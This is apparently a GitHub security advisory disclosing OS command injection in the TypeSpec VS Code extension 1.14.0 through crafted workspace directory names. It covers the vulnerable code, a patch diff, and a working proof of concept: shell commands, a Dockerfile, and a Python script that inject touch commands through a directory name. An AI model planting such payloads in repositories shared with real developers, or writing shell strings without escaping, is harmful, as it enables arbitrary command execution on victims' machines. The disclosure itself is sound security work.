Skip to content

VS Code Task Shell Command Injection via Workspace Path

High
timotheeguerin published GHSA-j3fc-7q3j-26pm Jul 27, 2026

Package

npm @typespec/vscode (npm)

Affected versions

1.14.0

Patched versions

1.14.1

Description

VS Code Task Shell Command Injection via Workspace Path

Summary

The TypeSpec VS Code extension (@typespec/vscode v1.14.0) constructs a shell command string by directly interpolating an attacker-controlled workspace file path into a template literal, then passes the resulting string to vscode.ShellExecution. Because no shell escaping is applied, a malicious workspace directory name containing shell metacharacters (e.g., a closing double-quote followed by arbitrary commands) causes arbitrary OS commands to execute with the victim's privileges when the user runs the auto-generated TypeSpec compile or watch task. CVSS Base Score: 7.8 (High).

Details

The TypeSpec VS Code extension registers a task provider on activation (extension.ts:61) that discovers all main.tsp files in the open workspace via vscode.workspace.findFiles() (task-provider.ts:17–22). For each discovered file, the extension constructs a shell command string at task-provider.ts:80:

let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;

The absoluteTargetPath variable is derived from a workspace file path that is attacker-controlled through the directory name. Although normalizeSlashes() (path-utils.ts:464–471) is applied, it only converts backslashes to forward slashes and performs no shell metacharacter escaping. The constructed string is then executed at task-provider.ts:99–100:

? new vscode.ShellExecution(cmd, { cwd: workspaceFolder })
: new vscode.ShellExecution(cmd),

vscode.ShellExecution passes the entire command string to the OS shell (/bin/bash on Linux/macOS), interpreting all shell metacharacters. If the directory containing main.tsp has a name such as:

workspace"; touch /tmp/pwned; #

the resulting command becomes:

tsp  compile "/base/workspace"; touch /tmp/pwned; #/main.tsp"

The shell parses this as three separate commands: the (failing) tsp compile invocation, the injected touch /tmp/pwned, and the rest treated as a comment. The injected command executes successfully.

Data flow (Source → Sink):

  1. extension.ts:61 — extension registers createTaskProvider() on activation (default-on).
  2. task-provider.ts:17–22vscode.workspace.findFiles('**/main.tsp', '**/node_modules/**') collects workspace file paths, including attacker-controlled directory names.
  3. task-provider.ts:67–70 — path is resolved to absoluteTargetPath without shell escaping.
  4. task-provider.ts:80absoluteTargetPath is interpolated into the command string enclosed only in double quotes.
  5. task-provider.ts:99–100 — the full string is passed to new vscode.ShellExecution(cmd, ...) and executed by the OS shell.

Recommended fix: Replace vscode.ShellExecution with vscode.ProcessExecution and pass arguments as an array, bypassing the shell entirely:

-  let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;
+  const commandArgs = [
+    ...(cli.args ?? []),
+    "compile",
+    absoluteTargetPath,
+    ...normalizeTaskArgs(args),
+  ];
 ...
-      ? new vscode.ShellExecution(cmd, { cwd: workspaceFolder })
-      : new vscode.ShellExecution(cmd),
+      ? new vscode.ProcessExecution(cli.command, commandArgs, { cwd: workspaceFolder })
+      : new vscode.ProcessExecution(cli.command, commandArgs),

PoC

Environment setup:

# Install the TypeSpec VS Code extension v1.14.0 (or clone microsoft/typespec @ d88ddc16)
# Ensure Node.js and the tsp CLI are available in the PATH

Create the malicious workspace:

base=$(mktemp -d /tmp/typespec-vscode-task-poc.XXXXXX)

# Directory name breaks out of double-quote context and injects two commands
evil_dir="${base}/workspace\"; touch /tmp/typespec-vscode-poc; touch /tmp/typespec-vscode-poc2; #"
mkdir -p "${evil_dir}"
printf 'namespace Demo;\n' > "${evil_dir}/main.tsp"

code "${base}"

Trigger the vulnerability in VS Code:

  1. VS Code opens the workspace. The TypeSpec extension activates automatically and discovers main.tsp inside the maliciously named directory.
  2. Open the Command Palette → Tasks: Run Tasktypespec → select the compile task whose label contains the evil directory name.
  3. The extension calls vscode.ShellExecution with the unescaped command string.

Verify exploitation:

ls -la /tmp/typespec-vscode-poc /tmp/typespec-vscode-poc2
# Both files exist → arbitrary commands executed with victim's privileges

Docker-based reproduction (Phase 2 dynamic verification):

docker build -t typespec-vuln-001 /path/to/vuln-001/
docker run --rm typespec-vuln-001
# Output: "EXPLOIT SUCCESS — Shell injection confirmed"
# Both /tmp/typespec_injection_marker and /tmp/typespec_injection_result are created

The Node.js snippet (task-provider-snippet.js) reproduces the vulnerable line 80 verbatim and delegates execution to /bin/bash, faithfully simulating vscode.ShellExecution on Linux. Both marker files were confirmed created in Phase 2 dynamic testing.

Impact

This is an OS Command Injection (CWE-78) vulnerability. Any developer who:

  1. opens a repository or shared directory in VS Code with the TypeSpec extension active, and
  2. runs the auto-generated TypeSpec compile or watch task,

is at risk. The task provider is registered by default on extension activation and does not require any additional configuration. An attacker can distribute a malicious repository (e.g., via GitHub, npm workspace, or a shared network path) containing a directory whose name embeds shell metacharacters. When the victim runs the TypeSpec task, injected OS commands execute with the victim's full user privileges, enabling:

  • Confidentiality: Exfiltration of source code, secrets, SSH keys, and credentials accessible to the victim.
  • Integrity: Modification or deletion of local files; installation of backdoors or malware.
  • Availability: Destruction of local data or disruption of developer workstations.

The attack requires only that the victim open the workspace and trigger the task — a realistic action during code review, onboarding, or normal development workflows.

Reproduction artifacts

Dockerfile

FROM node:18-slim

# Install Python3 to run the PoC script
RUN apt-get update && apt-get install -y python3 && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable source excerpt for documentation purposes
COPY task-provider-snippet.js /app/task-provider-snippet.js

# Copy the PoC
COPY poc.py /app/poc.py

# Run the PoC by default
CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: VS Code Task Shell Command Injection via Workspace Path
Repository  : microsoft/typespec v1.14.0 (commit d88ddc16)
CWE         : CWE-78 — OS Command Injection
CVSS        : 7.8 High  (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Vulnerable  : packages/typespec-vscode/src/task-provider.ts:80

Root cause:
  The TypeSpec VS Code extension discovers all `main.tsp` files inside the
  opened workspace and constructs a shell command by directly interpolating
  the file path (which is attacker-controlled via the directory name) into a
  template literal:

    // task-provider.ts:80
    let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;

  The resulting string is then passed to vscode.ShellExecution (task-provider.ts:99),
  which runs it with /bin/bash on Linux/macOS.  No shell escaping is applied.

Attack scenario:
  1. Attacker distributes a repository whose root directory contains a
     sub-directory whose name embeds shell metacharacters (e.g. a closing
     double-quote followed by arbitrary commands).
  2. Victim opens the repository in VS Code with the TypeSpec extension active.
  3. Victim runs the auto-generated "typespec: compile" task.
  4. Injected commands execute with the victim's OS privileges.

This PoC reproduces step 3 by delegating to task-provider-snippet.js, which
contains a verbatim copy of the vulnerable line 80 and executes the resulting
command string via /bin/bash (equivalent to vscode.ShellExecution on Linux).
"""

import os
import subprocess
import sys
import tempfile

# Marker files created by the injected payload — proof of code execution
MARKER_1 = "/tmp/typespec_injection_marker"
MARKER_2 = "/tmp/typespec_injection_result"

SNIPPET = "/app/task-provider-snippet.js"

SEP = "=" * 64


def banner(msg: str) -> None:
    print(f"\n{SEP}")
    print(f"  {msg}")
    print(SEP)


def run_snippet(malicious_path: str) -> subprocess.CompletedProcess:
    """Invoke the Node.js simulation of task-provider.ts with the crafted path."""
    return subprocess.run(
        ["node", SNIPPET, malicious_path],
        capture_output=True,
        text=True,
        timeout=20,
    )


def main() -> int:
    banner("VULN-001 — TypeSpec VS Code Task Shell Injection PoC")

    # Clean up from previous runs
    for f in [MARKER_1, MARKER_2]:
        if os.path.exists(f):
            os.unlink(f)

    # ── Step 1: Build the malicious workspace directory structure ─────────────
    print("\n[1] Creating malicious workspace directory...")

    base_dir = tempfile.mkdtemp(prefix="typespec-poc-")
    print(f"    Base directory : {base_dir}")

    # The directory name injects two commands after breaking out of the
    # double-quoted argument via a literal `"` character:
    #
    #   evil dir name : workspace"; touch MARKER_1; touch MARKER_2; #
    #
    # Resulting shell command (task-provider.ts:80 output):
    #
    #   tsp  compile "/base/workspace"; touch MARKER_1; touch MARKER_2; #/main.tsp"
    #                                  ^─────────────────────────────────^ injected
    injection_payload = (
        f'; touch {MARKER_1}; touch {MARKER_2}; #'
    )
    evil_dir_name = f'workspace"{injection_payload}'
    evil_dir = os.path.join(base_dir, evil_dir_name)

    os.makedirs(evil_dir, exist_ok=True)
    print(f"    Malicious dir  : {repr(evil_dir_name)}")

    # Place a valid main.tsp inside so the extension's findFiles() picks it up
    main_tsp = os.path.join(evil_dir, "main.tsp")
    with open(main_tsp, "w") as fh:
        fh.write("namespace Demo;\n")
    print(f"    main.tsp path  : {main_tsp}")

    # ── Step 2: Show the command that task-provider.ts:80 would construct ─────
    print("\n[2] Command string as constructed by task-provider.ts:80:")
    simulated_cmd = f'tsp  compile "{main_tsp}" '
    print(f"    {simulated_cmd}")
    print()
    print("    Shell parsing breakdown:")
    print(f"    [cmd 1]  tsp  compile \"{base_dir}/workspace\"   ← closes at injected '\"'")
    print(f"    [cmd 2]  touch {MARKER_1}                     ← INJECTED")
    print(f"    [cmd 3]  touch {MARKER_2}                     ← INJECTED")
    print(f"    [rest ]  #/main.tsp\"                           ← comment, ignored")

    # ── Step 3: Execute via Node.js simulation (task-provider-snippet.js) ─────
    print("\n[3] Invoking task-provider-snippet.js (simulates vscode.ShellExecution)...")
    result = run_snippet(main_tsp)

    print(f"    Node.js exit code : {result.returncode}")
    if result.stdout.strip():
        for line in result.stdout.strip().splitlines():
            print(f"    [node] {line}")
    if result.stderr.strip():
        for line in result.stderr.strip().splitlines():
            print(f"    [node/err] {line}")

    # ── Step 4: Verify exploitation ───────────────────────────────────────────
    print("\n[4] Checking injection markers...")

    m1_ok = os.path.exists(MARKER_1)
    m2_ok = os.path.exists(MARKER_2)

    print(f"    {MARKER_1} : {'CREATED ✓' if m1_ok else 'MISSING ✗'}")
    print(f"    {MARKER_2} : {'CREATED ✓' if m2_ok else 'MISSING ✗'}")

    # ── Final verdict ─────────────────────────────────────────────────────────
    if m1_ok and m2_ok:
        banner("EXPLOIT SUCCESS — Shell injection confirmed")
        print("  Both marker files created by injected shell commands.")
        print("  Proof: arbitrary OS commands execute with victim privileges when")
        print("         vscode.ShellExecution processes the unescaped path string.")
        print(f"\n  Vulnerable line : task-provider.ts:80")
        print(f"  Sink            : new vscode.ShellExecution(cmd, ...)")
        print(f"  Fix             : use vscode.ProcessExecution with argv array instead")
        print()
        return 0
    else:
        banner("EXPLOIT FAILED")
        print("  Marker files were not created. Check that:")
        print("  - Node.js is installed and /app/task-provider-snippet.js is present")
        print("  - /tmp is writable inside the container")
        print()
        return 1


if __name__ == "__main__":
    sys.exit(main())

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits